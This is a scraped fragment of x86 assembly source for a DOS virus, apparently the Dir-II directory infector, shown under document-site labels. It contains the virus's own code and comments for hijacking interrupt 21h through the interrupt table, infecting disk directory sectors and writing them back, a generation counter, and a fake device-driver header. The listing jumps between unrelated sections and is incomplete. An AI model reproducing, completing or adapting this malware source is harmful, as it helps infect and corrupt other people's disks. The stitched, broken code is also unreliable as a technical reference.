Beruflich Dokumente
Kultur Dokumente
i13org = 5f8h
i21org = 5fch
org 100h
start:
mov sp,600h ; set up the stack pointer
inc word ptr counter ; generation counter
xor cx,cx
mov ds,cx ; ds points to interrupt table
lds ax, ds:[0c1h] ; find interrupt 30h
add ax,21h ; change it to int 21h
push ds ; save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; get dos version
call jump
cmp al,4 ; dos 4.x+ : si = 0
sbb si,si ; dos 2/3 : si = -1
mov byte ptr [drive+2],byte ptr -1 ; initialise last drive to
; "never accessed"
mov bx,60h ; adjust memory in es to
mov ah,4ah ; bx paragraphs.
call jump
;--------installation complete
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; we are outta here!
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; bytes/sector
lds si,es:[bx+0eh] ; ds:si = pointer to buffer
sal di,cl ; multiply by 512
; di = byte count
xor cl,cl
add di,si ; go to address in the buffer
xor dl,dl ; flag for an infection in
; function find
push ds
push si
call find ; infect the directory
jcxz no_inf
call write ; write it back to the disk
and es:[bx+4],byte ptr 07fh ; clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; flag for a decryption in
; function find
call find ; return right information to
; calling program
jmp ppp
;--------subroutines
counter: dw 0
dw 842h ; attribute
; block device
; dos 3 open/close removable
; media calls supported
; generic ioctl call supported
; supports 32 bit sectors
dw offset main ; strategy routine
dw offset rts ; interrupt routine (rtf)
db 7fh ; number of subunits supported
; by this driver. wow, lookit
; it -- it's so large and juicy
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------the end.
dir_2 ends
end start